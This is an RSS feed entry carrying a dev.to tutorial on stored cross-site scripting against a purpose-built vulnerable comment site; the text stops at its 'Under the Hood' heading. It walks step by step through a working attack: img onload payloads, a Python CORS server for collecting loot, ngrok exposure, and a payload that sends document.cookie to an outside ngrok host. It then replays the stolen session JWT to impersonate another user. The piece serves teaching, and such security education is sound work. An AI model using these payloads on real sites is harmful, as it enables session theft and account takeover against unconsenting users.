<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Adnan Hashmi</title>
    <description>The latest articles on DEV Community by Adnan Hashmi (@adnanhashmi09).</description>
    <link>https://dev.to/adnanhashmi09</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F962005%2Fea8805ca-a3c5-4235-86f6-e24baaf19646.png</url>
      <title>DEV Community: Adnan Hashmi</title>
      <link>https://dev.to/adnanhashmi09</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/adnanhashmi09"/>
    <language>en</language>
    <item>
      <title>Exploits Ep-2: Exploiting XSS to Become Someone Else Online</title>
      <dc:creator>Adnan Hashmi</dc:creator>
      <pubDate>Tue, 27 Aug 2024 12:40:43 +0000</pubDate>
      <link>https://dev.to/middleware/exploits-ep-2-exploiting-xss-to-become-someone-else-online-19j0</link>
      <guid>https://dev.to/middleware/exploits-ep-2-exploiting-xss-to-become-someone-else-online-19j0</guid>
      <description>&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;: The techniques described in this blog are for educational purposes only. We're here to learn, not to cause chaos. Any resemblance to actual hacks, past or present, is purely coincidental. Please don't try this at home, or work, or anywhere else – unless you're in a controlled, ethical environment with explicit permission. Remember, with great coding power comes great responsibility. Stay curious, but keep it legal, folks!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmedia1.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExbDBkczhsODNiNHI0am11ZzlyM2ZpYWVuNGRsbGVzbGF0djUxN2p3byZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FxT5LMYtXSH6l9lSTyE%2Fgiphy.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmedia1.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExbDBkczhsODNiNHI0am11ZzlyM2ZpYWVuNGRsbGVzbGF0djUxN2p3byZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FxT5LMYtXSH6l9lSTyE%2Fgiphy.webp" alt="Disclaimer Simson's Gif"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Welcome back to our "Exploits" series. In &lt;a href="https://dev.to/middleware/exploit-ep-1-from-prototype-pollution-to-a-100-discount-4p93"&gt;Episode 1&lt;/a&gt;, we explored the twisting paths of prototype pollution. Now, it's time to turn our attention to another prevalent web security issue: Cross-Site Scripting, or XSS.&lt;/p&gt;

&lt;p&gt;Think of XSS as the digital equivalent of someone sneaking an extra ingredient into your favourite recipe. It might look the same on the surface, but the results can be quite unexpected – and potentially harmful.&lt;/p&gt;

&lt;p&gt;In this episode, we'll unpack how attackers can inject malicious scripts into web pages, turning trusted sites into unwitting accomplices. We'll explore a practical example of XSS in action by demonstrating how to steal a JWT token, allowing us to impersonate another user. Through this, we'll see why XSS continues to be a persistent problem in web security, and what developers can do to keep their sites script-safe and protect user identities.&lt;/p&gt;

&lt;p&gt;The following is the sneak peak of what we will be able to do. 😈&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftwg67yh6igkqwg975gar.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftwg67yh6igkqwg975gar.gif" alt="Attack Demo"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What is XSS?
&lt;/h2&gt;

&lt;p&gt;XSS allows attackers to inject malicious scripts into web pages viewed by other users. When these scripts execute in a victim's browser, they can do all sorts of mischief, from stealing cookies to hijacking sessions.&lt;br&gt;
Types of XSS:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Stored XSS&lt;/strong&gt;: The malicious script is stored on the target server. It's like hiding a stink bomb in the school vents - it affects everyone who passes by.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reflected XSS&lt;/strong&gt;: The malicious payload is part of the victim's request. It's more like convincing someone to throw a water balloon at themselves.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DOM-based XSS&lt;/strong&gt;: This occurs in the DOM (Document Object Model) rather than part of the HTML. Think of it as rewiring a car's dashboard to show the wrong speed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Same Origin Policy
&lt;/h2&gt;

&lt;p&gt;The Same-Origin Policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. It helps isolate potentially malicious documents, reducing possible attack vectors.&lt;br&gt;
An origin is defined as a combination of URI scheme, host name, and port number. Two pages have the same origin if the protocol, port (if one is specified), and host are the same for both pages.&lt;/p&gt;

&lt;p&gt;For example, the following have the same origin:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="http://example.com/app1/index.html" rel="noopener noreferrer"&gt;http://example.com/app1/index.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://example.com/app2/index.html" rel="noopener noreferrer"&gt;http://example.com/app2/index.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, these do not have the same origin (different protocol):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="http://example.com/app1" rel="noopener noreferrer"&gt;http://example.com/app1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://example.com/app2" rel="noopener noreferrer"&gt;https://example.com/app2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Same-Origin Policy prevents a malicious script on one page from accessing sensitive data on another web page through that page's Document Object Model (DOM). While you may see cookies from multiple origins in your browser's developer console, this doesn't mean that scripts can access cookies across different origins. Each script can only access cookies that belong to its own origin.&lt;/p&gt;

&lt;p&gt;The Same-Origin Policy is what prevents a script on one website from reading or manipulating cookies or other data belonging to a different website, even if both sites are open in the same browser. This is true even if one of the websites is vulnerable to cross-site scripting (XSS).&lt;/p&gt;
&lt;h2&gt;
  
  
  Hands-On
&lt;/h2&gt;

&lt;p&gt;Let's explore how an XSS attack works and its potential impact by experimenting with a deliberately vulnerable website: &lt;a href="https://exploit-episode-2.middlewarehq.com/" rel="noopener noreferrer"&gt;https://exploit-episode-2.middlewarehq.com/&lt;/a&gt;. This site simulates a video streaming platform with a comment section that allows various HTML styles in comments.&lt;/p&gt;

&lt;p&gt;We can test the vulnerability by trying different HTML elements:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Bold text: Try commenting with &lt;code&gt;&amp;lt;b&amp;gt;Bold Comment&amp;lt;/b&amp;gt;&lt;/code&gt;. You'll see the text appears bold in the comment section.&lt;/li&gt;
&lt;li&gt;Images: Add an image using &lt;code&gt;&amp;lt;img src="image_url"&amp;gt;&lt;/code&gt;. The image should display in the comment.&lt;/li&gt;
&lt;li&gt;Other HTML elements: You can experiment with colours, divs, SVGs, and more.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgpuaoraw1x73xv3i2iv3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgpuaoraw1x73xv3i2iv3.png" alt="Comment section displaying html"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The vulnerability lies in the website's failure to properly sanitise user input. It allows any valid HTML to be rendered by the browser, including potentially malicious code.&lt;br&gt;
This opens the door for more dangerous possibilities. For instance, an attacker could inject a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag containing malicious JavaScript code. When other users view the page with this "comment", their browsers would execute the injected script in the context of the vulnerable website.&lt;/p&gt;

&lt;p&gt;Let’s try doing that. We will try to inject a script into the browser which will run every time a user visits this page. &lt;/p&gt;
&lt;h2&gt;
  
  
  First Attempt
&lt;/h2&gt;

&lt;p&gt;We can use the following comment:&lt;br&gt;
&lt;code&gt;&amp;lt;script&amp;gt; alert("XSS") &amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;But you will notice nothing happens. Was the script tag not added? A quick inspect element confirms that our code was added as intended into the DOM. But why didn’t it execute? Let me explain why this happens:&lt;br&gt;
Modern browsers have built-in XSS protection. When HTML is inserted into the DOM using innerHTML, the browser will not execute &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags or inline event handlers.&lt;/p&gt;
&lt;h2&gt;
  
  
  Second Attempt
&lt;/h2&gt;

&lt;p&gt;While &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags are blocked, we can leverage other HTML elements that are still being parsed and rendered, such as the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag. We can exploit this by using event attributes on these allowed elements. Here's a more sophisticated payload:&lt;br&gt;
&lt;code&gt;&amp;lt;img src="image_url" onload="alert('XSS')"&amp;gt;&lt;/code&gt;&lt;br&gt;
When we use this as a comment, we see an alert popup each time the page loads. This confirms that we've successfully executed JavaScript in the context of the website.&lt;br&gt;
However, this simple alert is just the tip of the iceberg. The real danger lies in what malicious actors could do with this vulnerability:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F47t3mdwjyo15x0gxhgnr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F47t3mdwjyo15x0gxhgnr.png" alt="XSS alert meme"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Many websites, including this one, require users to log in before commenting. This often involves storing authentication data in the browser.&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If we inspect the Application tab in our browser's developer tools and look at the cookies for this website, we find a 'session' cookie. Its value appears to be a JWT (JSON Web Token) used for authentication.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo1k0qr47kulzey3thf68.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo1k0qr47kulzey3thf68.png" alt="Console Screenshot"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;An attacker could craft a payload to access these cookies and exfiltrate them to a server they control. This would allow them to impersonate any user who views the compromised page and logs in.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Such an attack could affect every user who visits and logs into the website, potentially compromising numerous accounts.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s first make a simple http server which our malicious javascript code will call with the cookie. We will use python to create a simple web server which will receive and log the stolen cookies from our malicious JavaScript payload.&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;span class="nb"&gt;cd&lt;/span&gt; /tmp/
&lt;span class="nb"&gt;mkdir &lt;/span&gt;xss_server
&lt;span class="nb"&gt;cd &lt;/span&gt;xss_server
&lt;span class="nb"&gt;touch &lt;/span&gt;main.py


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;

&lt;span class="c1"&gt;# main.py
&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;http.server&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SimpleHTTPRequestHandler&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HTTPServer&lt;/span&gt;


&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CORSHTTPRequestHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SimpleHTTPRequestHandler&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;end_headers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Access-Control-Allow-Origin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Access-Control-Allow-Methods&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET, POST, OPTIONS&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Access-Control-Allow-Headers&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;X-Requested-With, Content-Type&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;super&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;end_headers&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8000&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;server_address&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;httpd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;HTTPServer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server_address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CORSHTTPRequestHandler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Starting httpd server on port &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;httpd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;serve_forever&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;



&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;We have a &lt;code&gt;run()&lt;/code&gt; function which is responsible for starting our server on a default port set to &lt;code&gt;8000&lt;/code&gt;. We use &lt;code&gt;HTTPServer()&lt;/code&gt; to create a server which listens to &lt;code&gt;127.0.0.1:8000&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;We define a custom request handler &lt;code&gt;CORSHTTPRequestHandler&lt;/code&gt; that extends &lt;code&gt;SimpleHTTPRequestHandler&lt;/code&gt;. This custom handler is used as the request handler for all the request coming to this server. This custom handler adds Cross-Origin Resource Sharing (CORS) headers to allow requests from any origin. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;When the client makes a request to this server we respond with the following headers set:

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;"Access-Control-Allow-Origin": “*”&lt;/code&gt;: This header allows any domain to make requests to our server.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;”Access-Control-Allow-Methods": "GET, POST, OPTIONS"&lt;/code&gt;: This specifies which HTTP methods are allowed when accessing the resource. We're allowing GET, POST, and OPTIONS (used in preflight requests).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;”Access-Control-Allow-Headers": "X-Requested-With, Content-Type"&lt;/code&gt;: This indicates which HTTP headers can be used when making the actual request. We're allowing "X-Requested-With" (often used in AJAX requests) and "Content-Type" (to specify the media type of the request body).&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You may ask, why is necessary for our exploit? When our injected JavaScript tries to make a request to our server from the vulnerable website, it's considered a cross-origin request. Without proper CORS headers, the browser would block this request for security reasons. By setting these permissive CORS headers, we ensure that our malicious payload can successfully exfiltrate data to our server. By implementing these CORS headers, we're essentially telling the browser, "Yes, it's okay for JavaScript from any origin to send requests to this server."&lt;/p&gt;

&lt;p&gt;Let's get our server up and running. First, we'll start it locally using the command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;python main.py&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now, we want to make our local server accessible from the internet. In a professional setting, you'd typically use a cloud server with a public IP address, where you could easily map the server's port for public access. However, for this demonstration, we'll use a tool called ngrok. This is particularly useful when you are in a home network behind a NAT and don’t want to configure your router settings to expose your server to the web. But what exactly is ngrok?&lt;/p&gt;

&lt;p&gt;Ngrok is a powerful and lightweight tool that creates secure tunnels from public endpoints to locally running services. It's like creating a secret passage from the internet directly to your computer. This is particularly useful for:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Developers who want to show their work-in-progress to clients&lt;/li&gt;
&lt;li&gt;Testing webhooks without deploying to a server&lt;/li&gt;
&lt;li&gt;Demonstrating applications running on a local machine&lt;/li&gt;
&lt;li&gt;Temporarily exposing local services for collaborative work or testing&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here's how to use ngrok:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Download and install ngrok from &lt;a href="https://ngrok.com/docs/getting-started/" rel="noopener noreferrer"&gt;https://ngrok.com/docs/getting-started/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Follow ngrok’s &lt;a href="https://ngrok.com/docs/getting-started/" rel="noopener noreferrer"&gt;QuickStart&lt;/a&gt; guide to authenticate into ngrok&lt;/li&gt;
&lt;li&gt;Once installed and authenticated, run the following command in your terminal:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;ngrok http 8000&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Ngrok will provide you with a public URL that forwards to your local server.
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6nm58kmtldlzf3fmblv3.png" alt="Ngrok public link"&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This method allows you to quickly expose your local server to the internet, making it perfect for testing and demonstrations like ours.&lt;br&gt;
Once you visit the public URL in the browser you are met with a warning page like below:&lt;/p&gt;

&lt;p&gt;This method allows you to quickly expose your local server to the internet, making it perfect for testing and demonstrations like ours.&lt;br&gt;
Once you visit the public URL in the browser you are met with a warning page like below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F96epfzrpvr7q7e3eh6us.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F96epfzrpvr7q7e3eh6us.png" alt="Ngrok warning page"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Click on &lt;code&gt;Visit Site&lt;/code&gt; to proceed with the request. You will notice in your terminal that you are getting the requests now.&lt;/p&gt;

&lt;p&gt;Great, now we are ready to use this public URL to launch our attack.&lt;/p&gt;
&lt;h2&gt;
  
  
  Attack Payload
&lt;/h2&gt;

&lt;p&gt;We will use a seemingly innocent looking image to exploit the vulnerability. The following is the payload we will use:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://cdn.vectorstock.com/i/500p/53/95/thumb-up-emoticon-vector-1075395.jpg"&lt;/span&gt; &lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;"var script=document.createElement('script');script.src=`https://895f-2409-40d0-10c3-96c8-385b-f4d-5777-2d28.ngrok-free.app?${document.cookie}`;document.body.appendChild(script);"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Change the script src to your ngrok public URL and paste this in the comment box. Go back and check your python server logs in the terminal to see the cookie being logged. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmty7esu9qnw9xeelxr3z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmty7esu9qnw9xeelxr3z.png" alt="ngrok terminal log"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is our session’s cookie that is being logged. A similar log would occur when any user tries to log in because the above payload will every time the page is loaded. We will look inside the hood how this is exactly working but first let’s try to steal some cookies. &lt;/p&gt;

&lt;p&gt;We will simulate a user login by logging out from the current account and logging in with a different username and password. As soon as we login we will see a cookie log in our python server.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Felv3yuy4jdwayvm0e628.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Felv3yuy4jdwayvm0e628.png" alt="Log in as Elon Musk"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhpq7avxp7ytnstwhdqjf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhpq7avxp7ytnstwhdqjf.png" alt="python log of session cookie"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we have Elon Musk’s session token🤯. We can use this token to login as Elon Musk even if we don’t have their password. Let’s see how.&lt;br&gt;
Copy the session token from the terminal.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyj63xsl032e7tt08tagm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyj63xsl032e7tt08tagm.png" alt="Python server log of session cookie"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then we logout from the current session using the logout button in the navbar. To double check you can see that the value of session cookie is empty. We now write right click on the cookie entry and select &lt;code&gt;Edit “Value"&lt;/code&gt; and paste the copied cookie value there. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2wbjgw8crvbr81jny7wm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2wbjgw8crvbr81jny7wm.png" alt="Developer console how to edit cookie value"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After we have edited the value of the cookie we reload our page. As soon as we reload the page we see that we are logged in as Elon Musk🤯. Wow!! Now we can do anything we want under the identity of “Elon Musk” in this platform and can potentially cause a lot of damage (I am not saying we should😛). &lt;/p&gt;

&lt;p&gt;All it took was this seemingly innocent comment from Jeff. Now we will get the cookies of every user that tries to login into the website. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl9gxq52urhp7zoyho1e4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl9gxq52urhp7zoyho1e4.png" alt="Logged in as elon musk"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Under the Hood
&lt;/h2&gt;

